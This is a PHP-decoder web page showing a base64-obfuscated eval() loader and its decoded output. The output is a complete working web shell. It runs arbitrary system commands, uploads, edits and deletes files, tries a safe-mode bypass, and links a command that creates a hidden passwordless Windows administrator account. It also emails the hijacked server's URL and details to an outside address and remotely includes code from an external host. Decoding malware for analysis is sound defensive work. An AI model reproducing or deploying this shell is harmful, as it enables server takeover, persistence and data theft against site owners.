Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGF..
Decoded Output download
?>b'<html>
<head>
<meta http-equiv="Content-Language" content="pt-br">
<meta name="FulL ShelL" content="Microsoft SHell 5.0">
<meta name="ProgId" content="AoD">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title> By FulLziNhO </title>
<style type="text/css">
A:link {text-decoration:none}
A:visited {text-decoration:none}
A:hover {text-decoration:underline}
A:active {text-decoration:underline}
body,td {
font-family: verdana;
font-size: 8pt;
background-color: #7FFF00;
}
a{
color: #0000FF;
text-decoration: none;
}
a:hover {
color: #EE6AA7;
text-decoration: underline;
}
</style>
</head>
<body >
<center><h2>Skype: FulLzinhOoo</h2></center>
<?php
@set_time_limit(0);
$string = $_SERVER[\'QUERY_STRING\'];
$mhost = \'http://www.permaya.org/x?\';
$host_all = explode("$mhost", $string);
$s1 = $host_all[0];
$fstring = $_SERVER[\'PHP_SELF\']."?".$s1.$mhost;
$OS = @PHP_OS;
$IpServer = \'127.0.0.1\';
$UNAME = @php_uname();
$PHPv = @phpversion();
$SafeMode = @ini_get(\'safe_mode\');
if ($SafeMode == \'\') { $SafeMode = "<i>OFF</i>"; }
else { $SafeMode = "<i>$SafeMode</i>"; }
$btname = \'backtool.txt\';
$bt = \'http://www.revitalizemassage.com/xpl/bind\';
$dc = \'http://www.revitalizemassage.com/xpl/back.txt\';
$newuser = \'@echo off;net user Admin /add /expires:never /passwordreq:no;net localgroup
"Administrators" /add Admin;net localgroup "Users" /del Admin\';
$bn = \'http://www.permaya.org/x?\';
// Java Script
echo "<script type=\"text/javascript\">";
echo "function ChMod(chdir, file) {";
echo "var o = prompt(\'Chmod: - Contoh: 0777\', \'\');";
echo "if (o) {";
echo "window.location=\"\" + \'{$fstring}&action=chmod&chdir=\' + chdir + \'&file=\' + file +
\'&chmod=\' + o + \"\";";
echo "}";
echo "}";
echo "function Rename(chdir, file, mode) {";
echo "if (mode == \'edit\') {";
echo "var o = prompt(\'Rename Nama File \'+ file + \' menjadi:\', \'\');";
echo "}";
echo "else {";
echo "var o = prompt(\'Rename Nama Folder \'+ file + \' menjadi:\', \'\');";
echo "}";
echo "if (o) {";
echo "window.location=\"\" + \'{$fstring}&action=rename&chdir=\' + chdir + \'&file=\' + file +
\'&newname=\' + o + \'&mode=\' + mode +\"\";";
echo "}";
echo "}";
echo "function Copy(chdir, file) {";
echo "var o = prompt(\'Copied for:\', \'/tmp/\' + file);";
echo "if (o) {";
echo "window.location=\"\" + \'{$fstring}&action=copy&chdir=\' + chdir + \'&file=\' + file +
\'&fcopy=\' + o + \"\";";
echo "}";
echo "}";
echo "function Mkdir(chdir) {";
echo "var o = prompt(\'Nama Folder?\', \'Folder_Baru\');";
echo "if (o) {";
echo "window.location=\"\" + \'{$fstring}&action=mkdir&chdir=\' + chdir + \'&newdir=\' + o +
\"\";";
echo "}";
echo "}";
echo "function Newfile(chdir) {";
echo "var o = prompt(\'Nama File?\', \'NewFile.txt\');";
echo "if (o) {";
echo "window.location=\"\" + \'{$fstring}&action=newfile&chdir=\' + chdir + \'&newfile=\' + o +
\"\";";
echo "}";
echo "}";
echo "</script>";
// End JavaScript
/* Functions */
function cmd($CMDs) {
$CMD[1] = \'\';
exec($CMDs, $CMD[1]);
if (empty($CMD[1])) {
$CMD[1] = shell_exec($CMDs);
}
elseif (empty($CMD[1])) {
$CMD[1] = passthru($CMDs);
}
elseif (empty($CMD[1])) {
$CMD[1] = system($CMDs);
}
elseif (empty($CMD[1])) {
$handle = popen($CMDs, \'r\');
while(!feof($handle)) {
$CMD[1][] .= fgets($handle);
}
pclose($handle);
}
return $CMD[1];
}
if (@$_GET[\'chdir\']) {
$chdir = $_GET[\'chdir\'];
} else {
$chdir = getcwd()."/";
}
if (@chdir("$chdir")) {
$msg = "<font color=\"#008000\"> Directory Door, OK!</font>";
} else {
$msg = "<font color=\"#FF0000\">Error: Could not enter folder!</font>";
$chdir = str_replace($SCRIPT_NAME, "", $_SERVER[\'SCRIPT_NAME\']);
}
$chdir = str_replace(chr(92), chr(47), $chdir);
if (@$_GET[\'action\'] == \'upload\') {
$uploaddir = $chdir;
$uploadfile = $uploaddir. $_FILES[\'userfile\'][\'name\'];
if (@move_uploaded_file($_FILES[\'userfile\'][\'tmp_name\'], $uploaddir .
$_FILES[\'userfile\'][\'name\'])) {
$msg = "<font color=\"#008000\"><font
color=\"#000080\">{$_FILES[\'userfile\'][\'name\']}</font>, archieve valid, uploading complete.
</font>";
} else {
$msg = "<font color=\"#FF0000\">Error: couldnt upload file on server.</font>";
}
}
elseif (@$_GET[\'action\'] == \'mkdir\') {
$newdir = $_GET[\'newdir\'];
if (@mkdir("$chdir"."$newdir")) {
$msg = "<font color=\"#008000\"><font color=\"#000080\">{$newdir}</font>, folder
Created. </font>";
} else {
$msg = "<font color=\"#FF0000\">Error: Folder Make Error.</font>";
}
}
elseif (@$_GET[\'action\'] == \'newfile\') {
$newfile = $_GET[\'newfile\'];
if (@touch("$chdir"."$newfile")) {
$msg = "<font color=\"#008000\"><font color=\"#000080\">{$newfile}</font>, berhasil
dibuat! ye ke? </font>";
} else {
$msg = "<font color=\"#FF0000\">Error: Pembuatan arsip gagal! entah?</font>";
}
}
elseif (@$_GET[\'action\'] == \'del\') {
$file = $_GET[\'file\']; $type = $_GET[\'type\'];
if ($type == \'file\') {
if (@unlink("$chdir"."$file")) {
$msg = "<font color=\"#008000\"><font color=\"#000080\">{$file}</font>, Berhasil
menghapus arsip (file)!</font>";
} else {
$msg = "<font color=\"#FF0000\">Error: Gagal menghapus arsip (file)!</font>";
}
} elseif ($type == \'dir\') {
if (@rmdir("$chdir"."$file")) {
$msg = "<font color=\"#008000\"><font color=\"#000080\">{$file}</font>, Berhasil
menghapus folder!</font>";
} else {
$msg = "<font color=\"#FF0000\">Error: Gagal menghapus folder!</font>";
}
}
}
elseif (@$_GET[\'action\'] == \'chmod\') {
$file = $chdir.$_GET[\'file\']; $chmod = $_GET[\'chmod\'];
if (@chmod ("$file", $chmod)) {
$msg = "<font color=\"#008000\">Chmod dari</font> <font
color=\"#000080\">{$_GET[\'file\']}</font> <font color=\"#008000\">berubah menjadi</font>
<font color=\"#000080\">$chmod</font> <font color=\"#008000\">: Sukses!</font>";
} else {
$msg = \'<font color=\"#FF0000\">Error: Gagal mengubah chmod.</font>\';
}
}
elseif (@$_GET[\'action\'] == \'rename\') {
$file = $_GET[\'file\']; $newname = $_GET[\'newname\'];
if (@rename("$chdir"."$file", "$chdir"."$newname")) {
$msg = "<font color=\"#008000\">Archive</font> <font color=\"#000080\">{$file}</font>
<font color=\"#008000\">named for</font> <font color=\"#000080\">{$newname}</font> <font
color=\"#008000\">successfully!</font>";
} else {
$msg = "<font color=\"#FF0000\">Error: Gagal mencalonkan arsip.</font>";
}
}
elseif (@$_GET[\'action\'] == \'copy\') {
$file = $chdir.$_GET[\'file\']; $copy = $_GET[\'fcopy\'];
if (@copy("$file", "$copy")) {
$msg = "<font color=\"#000080\">{$file}</font>, <font color=\"#008000\">disalin
menjadi</font> <font color=\"#000080\">{$copy}</font> <font color=\"#008000\">
Berhasil!</font>";
} else {
$msg = "<font color=\"#FF0000\">Error: Gagal menyalin </font> <font
color=\"#000000\">{$file}</font> <font color=\"#FF0000\">menjadi</font> <font
color=\"#000000\">{$copy}</font></font>";
}
}
/* Parte Atualiza 02:48 12/2/2006 */
elseif (@$_GET[\'action\'] == \'cmd\') {
if (!empty($_GET[\'cmd\'])) { $cmd = @$_GET[\'cmd\']; }
if (!empty($_POST[\'cmd\'])) { $cmd = @$_POST[\'cmd\']; }
$cmd = stripslashes(trim($cmd));
$result_arr = cmd($cmd);
$afim = count($result_arr); $acom = 0; $msg = \'\';
$msg .= "<p style=\"color: #000000;text-align: center;font-family: \'Lucida
Console\';font-size: 12px;margin 2\">Hasil : <b>".$cmd."</b></p>";
if ($result_arr) {
while ($acom <= $afim) {
$msg .= "<p style=\"color: #008000;text-align: left;font-family:
\'Lucida Console\';font-size: 12px;margin 2\"> ".@$result_arr[$acom]."</p>";
$acom++;
}
}
else {
$msg .= "<p style=\"color: #FF0000;text-align: center;font-family: \'Lucida
Console\';font-size: 12px;margin 2\">Error: Gagal mengeksekusi perintah.</p>";
}
}
elseif (@$_GET[\'action\'] == \'safemode\') {
if (@!extension_loaded(\'shmop\')) {
echo "Loading... module</br>";
if (strtoupper(substr(PHP_OS, 0,3) == \'WIN\')) {
@dl(\'php_shmop.dll\');
} else {
@dl(\'shmop.so\');
}
}
if (@extension_loaded(\'shmop\')) {
echo "Module: <b>shmop</b> loaded!</br>";
$shm_id = @shmop_open(0xff2, "c", 0644, 100);
if (!$shm_id) { echo "Couldn\'t create shared memory segment
"; }
$data="";
$offset=-3842685;
$shm_bytes_written = @shmop_write($shm_id, $data, $offset);
if ($shm_bytes_written != strlen($data)) { echo "Couldn\'t write the entire length of
data
"; }
if (!shmop_delete($shm_id)) { echo "Couldn\'t mark shared memory block for deletion."; }
echo passthru("id");
shmop_close($shm_id);
} else { echo "Module: <b>shmop</b> tidak dimuat!</br>"; }
}
elseif (@$_GET[\'action\'] == \'zipen\') {
$file = $_GET[\'file\'];
$zip = @zip_open("$chdir"."$file");
$msg = \'\';
if ($zip) {
while ($zip_entry = zip_read($zip)) {
$msg .= "Name: " . zip_entry_name($zip_entry) . "
";
$msg .= "Actual Filesize: " . zip_entry_filesize($zip_entry) . "
";
$msg .= "Compressed Size: " . zip_entry_compressedsize($zip_entry) . "
";
$msg .= "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "
";
if (zip_entry_open($zip, $zip_entry, "r")) {
echo "File Contents:
";
$buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
echo "$buf
";
zip_entry_close($zip_entry);
}
echo "
";
}
zip_close($zip);
}
}
elseif (@$_GET[\'action\'] == \'edit\') {
$file = $_GET[\'file\'];
$conteudo = \'\';
$filename = "$chdir"."$file";
$conteudo = @file_get_contents($filename);
$conteudo = htmlspecialchars($conteudo);
$back = $_SERVER[\'HTTP_REFERER\'];
echo "<p align=\"center\">Editing {$file} ...</p>";
echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse:
collapse\" width=\"100%\" id=\"editacao\">";
echo "<tr>";
echo "<td width=\"100%\">";
echo "<form method=\"POST\"
action=\"{$fstring}&action=save&chdir={$chdir}&file={$file}\">";
echo "<!--webbot bot=\"SaveResults\" u-file=\"_private/form_results.csv\"
s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><p align=\"center\">";
print "<textarea rows=\"18\" name=\"S1\" cols=\"89\" style=\"font-family: Verdana;
font-size: 8pt; border: 1px solid #000000\">{$conteudo}</textarea></p>";
echo "<p align=\"center\">";
echo "<input type=\"submit\" value=\"Simpan\" name=\"B2\" style=\" border: 1px solid
#000000\"> ";
echo "<input type=\"button\" value=\"Tutup\"
Onclick=\"javascript:window.location=\'{$fstring}&chdir={$chdir}\'\" name=\"B1\" style=\"
border: 1px solid #000000\"> ";
echo "</form>";
echo "</td>";
echo "</tr>";
echo "</table>";
}
elseif (@$_GET[\'action\'] == \'save\') {
$filename = "$chdir".$_GET[\'file\'];
$somecontent = $_POST[\'S1\'];
$somecontent = stripslashes(trim($somecontent));
if (is_writable($filename)) {
@$handle = fopen ($filename, "w");
@$fw = fwrite($handle, $somecontent);
@fclose($handle);
if ($handle && $fw) {
$msg = "<font color=\"#000080\">{$_GET[\'file\']}</font>, <font
color=\"#008000\">berhasil diedit!</font>";
}
} else {
$msg = "<font color=\"#000000\">{$_GET[\'file\']},</font> <font color=\"#FF0000\">tidak
bisa ditulisi!</font>";
}
}
// InformaÃ?s
$cmdget = \'\';
if (!empty($_GET[\'cmd\'])) { $cmdget = @$_GET[\'cmd\']; }
if (!empty($_POST[\'cmd\'])) { $cmdget = @$_POST[\'cmd\']; }
$cmdget = htmlspecialchars($cmdget);
function asdads() {
$asdads = \'\';
if (@file_exists("/usr/bin/wget")) { $asdads .= "wget "; }
if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch "; }
if (@file_exists("/usr/bin/curl")) { $asdads .= "curl "; }
if (@file_exists("/usr/bin/GET")) { $asdads .= "GET "; }
if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx "; }
return $asdads;
}
echo "<form method=\"POST\" name=\"cmd\"
action=\"{$fstring}&action=cmd&chdir=$chdir\">";
echo "<fieldset style=\"border: 1px solid #000000; padding: 2\">";
echo "<legend>Informasi</legend>";
echo "<br><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse:
collapse; font-family: Verdana; font-size: 10px\" width=\"100%\">";
echo "<tr>";
echo "<td width=\"8%\">";
echo " <b>Sistem </b> </td> ";
echo "<td width=\"92%\">: {$OS}</td>";
echo "</tr>";
echo "<tr>";
echo "<td width=\"8%\">";
echo " <b>Nama </b></td> ";
echo "<td width=\"92%\">: {$UNAME}</td>";
echo "</tr>";
echo "<tr>";
echo "<td width=\"8%\">";
echo " <b>PHP </b></td> ";
echo "<td width=\"92%\">: {$PHPv}, <b> Safe Mode :</b> {$SafeMode}</td>";
echo "</tr>";
if (strtoupper(substr($OS, 0,3) != \'WIN\')) {
$Methods = asdads();
if ($Methods == \'\') { $Methods = "???"; }
echo "<tr>";
echo "<td width=\"8%\">";
echo "<b>Methods </b></td> ";
echo "<td width=\"92%\">: {$Methods}</td>";
echo "</tr>";
}
echo "<tr>";
echo "<td width=\"8%\">";
echo " <b>IP </b></td> ";
echo "<td width=\"92%\">: {$IpServer}</td>";
echo "</tr>";
echo "<tr>";
echo "<td width=\"8%\">";
echo " <b>Perintah </b></td> ";
echo "<td width=\"92%\">: <input type=\"text\" size=\"70\" name=\"cmd\" value=\"{$cmdget}\"
style=\" font-size: 8 pt; border: 1px solid #000000\"> <input type=\"submit\"
name=\"action\" value=\"Kirim\" style=\" font-size: 8 pt; border: 1px solid
#000000\"></td>";
echo "</tr>";
echo "</table><br>";
echo "</fieldset></form>";
// Dir
echo "<form method=\"POST\" action=\"{$fstring}&action=upload&chdir=$chdir\"
enctype=\"multipart/form-data\">";
echo "<!--webbot bot=\"FileUpload\" u-file=\"_private/form_results.csv\"
s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><fieldset style=\"border: 1px solid
#000000; padding: 2\">";
if (is_writable("$chdir")) {
if (strtoupper(substr($OS, 0,3) == \'WIN\')) {
echo "<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"
onclick=\"Mkdir(\'{$chdir}\');\">Folder Baru</a> | <a href=\"#[New File]\"
onclick=\"Newfile(\'{$chdir}\')\">File Baru</a> | <a
href=\"{$fstring}&action=cmd&chdir={$chdir}&cmd=$newuser\">Remote
Access</a></legend>";
} else {
echo "<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"
onclick=\"Mkdir(\'{$chdir}\');\">Folder Baru</a> | <a href=\"#[New File]\"
onclick=\"Newfile(\'{$chdir}\')\">File Baru</a> | <a
href=\"{$fstring}&action=backtool&chdir={$chdir}&write=yes\">Kembali</a></legend
>";
}
}
else {
if (strtoupper(substr($OS, 0,3) == \'WIN\')) {
echo "<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"
onclick=\"Mkdir(\'{$chdir}\');\">Foldr Baru</a> | <a href=\"#[New File]\"
onclick=\"Newfile(\'{$chdir}\')\">File Baru</a> | <a
href=\"{$fstring}&action=cmd&chdir={$chdir}&cmd={$newuser}\">Remote
Access</a></legend>";
} else {
echo "<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"
onclick=\"Mkdir(\'{$chdir}\');\">Folder Baru</a> | <a href=\"#[New File]\"
onclick=\"Newfile(\'{$chdir}\')\">File Baru</a> | <a
href=\"{$fstring}&action=backtool&chdir={$chdir}&write=no\">Kembali</a></legend>
";
}
}
if (@!$handle = opendir("$chdir")) {
echo " Gue gak bisa masuk folder, <a href=\"{$fstring}\">Klik sini!</a> untuk embali ke
folder ori!</br>";
}
else {
echo " <table border=\"0\" cellpadding=\"5\" cellspacing=\"0\" width=\"100%\">";
echo " <tr>";
echo " <td width=\"100%\" colspan=\"4\"> Upload:";
echo " <input type=\"file\" name=\"userfile\" size=\"65\" style=\" border-style:
solid; border-width: 1\">";
echo " <input type=\"submit\" value=\"Kirim\" name=\"B1\" style=\" border: 1px solid
#000000\"></td>";
echo " </tr>";
echo " <tr>";
echo " <td width=\"100%\" colspan=\"4\"> </td>";
echo " </tr>";
echo " <tr>";
echo " <td width=\"100%\" colspan=\"4\">";
if (@!$msg) {
echo " <p align=\"left\">Messages</td>";
} else {
echo " <p align=\"left\">$msg</td>";
}
echo " </tr>";
echo " <tr>";
echo " <td width=\"100%\" colspan=\"4\"> </td>";
echo " </tr></table> ";
echo " <table border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">";
echo " <tr bgcolor=\"#FF6600\" align=\"center\"> ";
echo " <td > Permision</td>";
echo " <td > Nama File </td>";
echo " <td > Kapasitas </td>";
echo " <td > Perintah</td>";
echo " </tr>";
$colorn = 0;
while (false !== ($file = readdir($handle))) {
if ($file != \'.\') {
if ($colorn == 0) {
$color = "style=\"background-color: #FF9900\"";
}
elseif ($colorn == 1) {
$color = "style=\"background-color: #FFCC33\"";
}
if (@is_dir("$chdir"."$file")) {
$file = $file.\'/\';
$mode = \'chdir\';
} else {
$mode = \'edit\';
}
if (@substr("$chdir", strlen($chdir) -1, 1) != \'/\') {
$chdir .= \'/\';
}
if ($file == \'../\') {
$lenpath = strlen($chdir); $baras = 0;
for ($i = 0;$i < $lenpath;$i++) { if ($chdir{$i} == \'/\') { $baras++; } }
$chdir_ = explode("/", $chdir);
$chdirpox = str_replace($chdir_[$baras-1].\'/\', "", $chdir);
}
$perms = @fileperms ("$chdir"."$file");
if ($perms == \'\') {
$perms = \'???\';
}
$size = @filesize ("$chdir"."$file");
$size = $size / 1024;
$size = explode(".", $size);
if (@$size[1] != \'\') {
$size = $size[0].\'.\'.@substr("$size[1]", 0, 2);
} else {
$size = $size[0];
}
if ($size == 0) {
if ($mode == \'chdir\') {
$size = \'???\';
}
}
echo "<tr>";
echo "<td align=\"center\" $color> $perms</td>";
if (@is_writable ("$chdir"."$file")) {
if ($mode == \'chdir\') {
if ($file == \'../\') {
echo "<td $color> <b><a href=\"{$fstring}&chdir=$chdirpox\"><font
color=\"#008000\">$file</font></a></b> </td>";
} else {
echo "<td $color> <b><a href=\"{$fstring}&chdir={$chdir}{$file}\"><font
color=\"#008000\">$file</font></a> </b></td>";
}
} else {
if (is_readable("$chdir"."$file")) {
echo "<td $color> <a
href=\"{$fstring}&action=edit&chdir=$chdir&file=$file\">$file</a> </td>";
} else {
echo "<td $color> $file </td>";
}
}
}
else {
if ($mode == \'chdir\') {
if ($file == \'../\') {
echo "<td $color> <a href=\"{$fstring}&chdir=$chdirpox\">$file</a>
</td>";
} else {
echo "<td $color> <a
href=\"{$fstring}&chdir={$chdir}{$file}\">$file</a></td>";
}
} else {
if (@is_readable("$chdir"."$file")) {
echo "<td $color> <a
href=\"{$fstring}&action=edit&chdir=$chdir&file=$file\">$file</a> </td>";
} else {
echo "<td $color> $file</td>";
}
}
}
echo "<td align=\"right\" $color> $size KB</td>";
if ($mode == \'edit\') {
echo "<td align=\"center\" $color> <a href=\"#{$file}\"
onclick=\"Rename(\'{$chdir}\', \'{$file}\', \'{$mode}\')\">Rename</a> | <a
href=\"{$fstring}&action=del&chdir={$chdir}&file={$file}&type=file\">Del</a>
| <a href=\"#{$file}\" onclick=\"ChMod(\'$chdir\', \'$file\')\">Chmod</a> | <a href=\"#{$file}\"
onclick=\"Copy(\'{$chdir}\', \'{$file}\')\">Copy</a> </td>";
} else {
echo "<td align=\"center\" $color> <a href=\"#{$file}\"
onclick=\"Rename(\'{$chdir}\', \'{$file}\', \'{$mode}\')\">Rename</a> | <a
href=\"{$fstring}&action=del&chdir={$chdir}&file={$file}&type=dir\">Del</a>
| <a href=\"#{$file}\" onclick=\"ChMod(\'$chdir\', \'$file\')\">Chmod</a> | Copy </td>";
}
echo "</tr>";
if ($colorn == 0) {
$colorn = 1;
}
elseif ($colorn == 1) {
$colorn = 0;
}
}
}
closedir($handle);
}
$OS = @PHP_OS;
$UNAME = @php_uname();
$PHPv = @phpversion();
$SafeMode = @ini_get(\'safe_mode\');
if ($SafeMode == \'\') { $SafeMode = "<i>OFF</i><BR>"; }
else { $SafeMode = "<i>$SafeMode</i><BR>"; }
$injek=($_SERVER[\'HTTP_HOST\'] . $_SERVER[\'REQUEST_URI\']);
$psn=("OS = " . $OS . "<BR>UNAME = " . $UNAME . "<BR>PHPVersion = " . $PHPv . "<BR>Safe Mode = " . $SafeMode . "<BR><font color=blue>http://" . $injek . "</font><BR>Ingat jangan pakai Injek Ini.<BR>By: BlueSpy");
$header = "From: $_SERVER[HTTP_HOST] <$from>
Reply-To: $replyto
";
$header .= "MIME-Version: 1.0
";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid
";
If ($file_name) $header .= "--$uid
";
$header .= "Content-Type: text/$contenttype
";
$header .= "Content-Transfer-Encoding: 8bit
";
$header .= "$message
";
If ($file_name) $header .= "--$uid
";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"
";
If ($file_name) $header .= "Content-Transfer-Encoding: base64
";
If ($file_name) $header .= "Content-Disposition: attachment;
filename=\"$file_name\"
";
If ($file_name) $header .= "$content
";
If ($file_name) $header .= "--$uid--";
$to = ("[email protected]");
$subject = ("injekan anyar Bos");
mail($to,$subject,$psn,$header);
@include "$bn";
?>
</table>
</fieldset></form>
</div>
</body>
</html>'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9InB0LWJyIj4NCjxtZXRhIG5hbWU9IkZ1bEwgU2hlbEwiIGNvbnRlbnQ9Ik1pY3Jvc29mdCBTSGVsbCA1LjAiPg0KPG1ldGEgbmFtZT0iUHJvZ0lkIiBjb250ZW50PSJBb0QiPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUyIj4NCjx0aXRsZT4gIEJ5IEZ1bEx6aU5oTyAgPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpBOmxpbmsge3RleHQtZGVjb3JhdGlvbjpub25lfQ0KQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246bm9uZX0NCkE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmV9DQpBOmFjdGl2ZSB7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0NCmJvZHksdGQgew0KCWZvbnQtZmFtaWx5OiB2ZXJkYW5hOw0KCWZvbnQtc2l6ZTogOHB0Ow0KCWJhY2tncm91bmQtY29sb3I6ICM3RkZGMDA7DQp9DQphew0KCWNvbG9yOiAjMDAwMEZGOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCn0NCmE6aG92ZXIgew0KCWNvbG9yOiAjRUU2QUE3Ow0KCXRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5ID4NCjxjZW50ZXI+PGgyPlNreXBlOiBGdWxMemluaE9vbzwvaDI+PC9jZW50ZXI+DQo8P3BocA0KIA0KIEBzZXRfdGltZV9saW1pdCgwKTsNCg0KICRzdHJpbmcgPSAkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ107DQogJG1ob3N0ID0gJ2h0dHA6Ly93d3cucGVybWF5YS5vcmcveD8nOw0KICRob3N0X2FsbCA9IGV4cGxvZGUoIiRtaG9zdCIsICRzdHJpbmcpOw0KICRzMSA9ICRob3N0X2FsbFswXTsNCiAkZnN0cmluZyA9ICRfU0VSVkVSWydQSFBfU0VMRiddLiI/Ii4kczEuJG1ob3N0Ow0KDQogJE9TID0gQFBIUF9PUzsNCiAkSXBTZXJ2ZXIgPSAnMTI3LjAuMC4xJzsNCiAkVU5BTUUgPSBAcGhwX3VuYW1lKCk7DQogJFBIUHYgPSBAcGhwdmVyc2lvbigpOw0KICRTYWZlTW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCg0KIGlmICgkU2FmZU1vZGUgPT0gJycpIHsgJFNhZmVNb2RlID0gIjxpPk9GRjwvaT4iOyB9DQogZWxzZSB7ICRTYWZlTW9kZSA9ICI8aT4kU2FmZU1vZGU8L2k+IjsgfQ0KDQogJGJ0bmFtZSA9ICdiYWNrdG9vbC50eHQnOw0KICRidCA9ICdodHRwOi8vd3d3LnJldml0YWxpemVtYXNzYWdlLmNvbS94cGwvYmluZCc7DQogJGRjID0gJ2h0dHA6Ly93d3cucmV2aXRhbGl6ZW1hc3NhZ2UuY29tL3hwbC9iYWNrLnR4dCc7DQogJG5ld3VzZXIgPSAnQGVjaG8gb2ZmO25ldCB1c2VyIEFkbWluIC9hZGQgL2V4cGlyZXM6bmV2ZXIgL3Bhc3N3b3JkcmVxOm5vO25ldCBsb2NhbGdyb3VwIA0KDQomcXVvdDtBZG1pbmlzdHJhdG9ycyZxdW90OyAvYWRkIEFkbWluO25ldCBsb2NhbGdyb3VwICZxdW90O1VzZXJzJnF1b3Q7IC9kZWwgQWRtaW4nOw0KICRibiA9ICdodHRwOi8vd3d3LnBlcm1heWEub3JnL3g/JzsgDQovLyBKYXZhIFNjcmlwdA0KIGVjaG8gIjxzY3JpcHQgdHlwZT1cInRleHQvamF2YXNjcmlwdFwiPiI7DQoNCiBlY2hvICJmdW5jdGlvbiBDaE1vZChjaGRpciwgZmlsZSkgeyI7DQogZWNobyAidmFyIG8gPSBwcm9tcHQoJ0NobW9kOiAtIENvbnRvaDogMDc3NycsICcnKTsiOw0KIGVjaG8gImlmIChvKSB7IjsNCiBlY2hvICJ3aW5kb3cubG9jYXRpb249XCJcIiArICd7JGZzdHJpbmd9JmFjdGlvbj1jaG1vZCZjaGRpcj0nICsgY2hkaXIgKyAnJmZpbGU9JyArIGZpbGUgKyANCg0KJyZjaG1vZD0nICsgbyArIFwiXCI7IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJmdW5jdGlvbiBSZW5hbWUoY2hkaXIsIGZpbGUsIG1vZGUpIHsiOw0KIGVjaG8gImlmIChtb2RlID09ICdlZGl0JykgeyI7DQogZWNobyAidmFyIG8gPSBwcm9tcHQoJ1JlbmFtZSBOYW1hIEZpbGUgJysgZmlsZSArICcgbWVuamFkaTonLCAnJyk7IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJlbHNlIHsiOw0KIGVjaG8gInZhciBvID0gcHJvbXB0KCdSZW5hbWUgTmFtYSBGb2xkZXIgJysgZmlsZSArICcgbWVuamFkaTonLCAnJyk7IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJpZiAobykgeyI7DQogZWNobyAid2luZG93LmxvY2F0aW9uPVwiXCIgKyAneyRmc3RyaW5nfSZhY3Rpb249cmVuYW1lJmNoZGlyPScgKyBjaGRpciArICcmZmlsZT0nICsgZmlsZSArIA0KDQonJm5ld25hbWU9JyArIG8gKyAnJm1vZGU9JyArIG1vZGUgK1wiXCI7IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJmdW5jdGlvbiBDb3B5KGNoZGlyLCBmaWxlKSB7IjsNCiBlY2hvICJ2YXIgbyA9IHByb21wdCgnQ29waWVkIGZvcjonLCAnL3RtcC8nICsgZmlsZSk7IjsNCiBlY2hvICJpZiAobykgeyI7DQogZWNobyAid2luZG93LmxvY2F0aW9uPVwiXCIgKyAneyRmc3RyaW5nfSZhY3Rpb249Y29weSZjaGRpcj0nICsgY2hkaXIgKyAnJmZpbGU9JyArIGZpbGUgKyANCg0KJyZmY29weT0nICsgbyArIFwiXCI7IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJmdW5jdGlvbiBNa2RpcihjaGRpcikgeyI7DQogZWNobyAidmFyIG8gPSBwcm9tcHQoJ05hbWEgRm9sZGVyPycsICdGb2xkZXJfQmFydScpOyI7DQogZWNobyAiaWYgKG8pIHsiOw0KIGVjaG8gIndpbmRvdy5sb2NhdGlvbj1cIlwiICsgJ3skZnN0cmluZ30mYWN0aW9uPW1rZGlyJmNoZGlyPScgKyBjaGRpciArICcmbmV3ZGlyPScgKyBvICsgDQoNClwiXCI7IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJmdW5jdGlvbiBOZXdmaWxlKGNoZGlyKSB7IjsNCiBlY2hvICJ2YXIgbyA9IHByb21wdCgnTmFtYSBGaWxlPycsICdOZXdGaWxlLnR4dCcpOyI7DQogZWNobyAiaWYgKG8pIHsiOw0KIGVjaG8gIndpbmRvdy5sb2NhdGlvbj1cIlwiICsgJ3skZnN0cmluZ30mYWN0aW9uPW5ld2ZpbGUmY2hkaXI9JyArIGNoZGlyICsgJyZuZXdmaWxlPScgKyBvICsgDQoNClwiXCI7IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJ9IjsNCiBlY2hvICI8L3NjcmlwdD4iOw0KDQogLy8gRW5kIEphdmFTY3JpcHQNCg0KCS8qIEZ1bmN0aW9ucyAqLw0KCWZ1bm